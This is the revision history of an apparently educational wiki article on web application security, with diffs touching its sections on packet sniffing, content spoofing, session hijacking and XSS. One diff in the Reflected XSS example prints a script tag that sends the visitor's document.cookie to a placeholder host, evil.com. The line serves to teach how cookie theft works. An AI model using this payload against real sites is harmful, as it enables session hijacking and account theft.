Web Application Security, Part 3 - Revision history

Todd: /* Real-Life Examples */

2018-07-18T20:58:58Z

Real-Life Examples

2017-10-11T22:47:05Z

Solution

2014-09-18T11:41:38Z

Real-Life Examples

2013-09-08T17:25:42Z

2013-09-08T17:23:57Z

Moving DoS to Web Application Security, Part 3

2013-09-08T17:22:11Z

2013-09-08T17:21:08Z

Real-Life Examples

2013-09-08T17:20:32Z

Moving Packet Sniffing to Web Application Security, Part 3

2013-02-25T00:47:27Z

Reflected XSS

2013-02-25T00:41:53Z

← Older revision		Revision as of 20:58, 18 July 2018
Line 250:		Line 250:

	Any web site that does not use the HTTPS protocol is vulnerable to packet sniffing attacks. After the release of applications like [http://www.redmondpie.com/faceniff-app-makes-it-easy-to-hack-facebook-twitter-and-youtube-accounts-from-android-phones/ Faceniff] and [http://www.pcworld.com/article/209333/how_to_hijack_facebook_using_firesheep.html Firesheep], high-profile sites have switched to using the HTTPS protocol by default:		Any web site that does not use the HTTPS protocol is vulnerable to packet sniffing attacks. After the release of applications like [http://www.redmondpie.com/faceniff-app-makes-it-easy-to-hack-facebook-twitter-and-youtube-accounts-from-android-phones/ Faceniff] and [http://www.pcworld.com/article/209333/how_to_hijack_facebook_using_firesheep.html Firesheep], high-profile sites have switched to using the HTTPS protocol by default:
−
−	* [http://articles.economictimes.indiatimes.com/2010-01-15/news/27620470_1_gmail-encryption-email-service Gmail, January 2010]

	== Content Spoofing ==		== Content Spoofing ==

@@ Line 270: / Line 270: @@
 === Solution ===
-Content Spoofing is largely out of your control as a web developer.  You should give users a way to confirm that your site is legitimate.  For example, when logging in to your site, you could have users put in their username first, then show the user a picture associated with their account before asking them to put in their password.  (Or just use OpenID.)
+Content Spoofing is largely out of your control as a web developer.  You should give users a way to confirm that your site is legitimate.  For example, when logging in to your site, you could have users put in their username first, then show the user a picture associated with their account before asking them to put in their password.
 === Real-Life Examples ===

← Older revision		Revision as of 11:41, 18 September 2014
Line 252:		Line 252:

	* [http://articles.economictimes.indiatimes.com/2010-01-15/news/27620470_1_gmail-encryption-email-service Gmail, January 2010]		* [http://articles.economictimes.indiatimes.com/2010-01-15/news/27620470_1_gmail-encryption-email-service Gmail, January 2010]
−	* [http://archive.techtree.com/techtree/jsp/article.jsp?article_id=114302&cat_id=643 Facebook, January 2011]
−	* [http://archive.techtree.com/techtree/jsp/article.jsp?article_id=114805&cat_id=643 Twitter, March 2011]

	== Content Spoofing ==		== Content Spoofing ==

@@ Line 145: / Line 145: @@
 This section serves to give you general best practices for preventing XSS.  However, it does not cover all cases.  For a more comprehensive coverage of XSS cases, see https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
 == Session Hijacking ==
@@ Line 226: / Line 254: @@
 * [http://archive.techtree.com/techtree/jsp/article.jsp?article_id=114302&cat_id=643 Facebook, January 2011]
 * [http://archive.techtree.com/techtree/jsp/article.jsp?article_id=114805&cat_id=643 Twitter, March 2011]
 == Content Spoofing ==

@@ Line 226: / Line 226: @@
 * [http://archive.techtree.com/techtree/jsp/article.jsp?article_id=114302&cat_id=643 Facebook, January 2011]
 * [http://archive.techtree.com/techtree/jsp/article.jsp?article_id=114805&cat_id=643 Twitter, March 2011]
 == Content Spoofing ==

@@ Line 209: / Line 209: @@
 Application-level session hijacking is not an attack vector frequently observed by high-profile companies, although any site vulnerable to XSS is probably vulnerable to application-level session hijacking.
-On the other hand, packet-sniffing session hijacking attacks have numerous examples.  For more information, see [[#Packet Sniffing|Packet Sniffing]].
+On the other hand, packet-sniffing session hijacking attacks have numerous examples.
 == Content Spoofing ==
@@ Line 234: / Line 250: @@
 * [http://kb.cadzow.com.au:15384/cadzow/details.aspx?ID=1422 Several Banks (phishing e-mail scams)]
 * [http://www.consumerfraudreporting.org/phishing_examples.php More Banks (phishing e-mail scams)]
 [[Category:Module 6]]
 [[Category:Web Application Security]]

@@ Line 51: / Line 51: @@
 In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on.  But this is the code that will be displayed on the page:
- <nowiki><h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1></nowiki>
+<source lang="html4strict"><h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1></source>
 Aye yie yie!

← Older revision		Revision as of 00:41, 25 February 2013
Line 1:		Line 1:
−	This is Part 3 of the Web Application Security article, geared toward the material covered in [[Module 4]]. For material covered in [[Module 2]] (HTML, CSS, and PHP), see [[Web Application Security, Part 1]]. For material covered in [[Module 3]] (MySQL), see [[Web Application Security, Part 2]].	+	This is Part 3 of the Web Application Security article, geared toward the material covered in [[Module 6]]. For material covered in [[Module 2]] (HTML, CSS, and PHP), see [[Web Application Security, Part 1]]. For material covered in [[Module 3]] (MySQL), see [[Web Application Security, Part 2]].

	== Cross-Site Scripting ==		== Cross-Site Scripting ==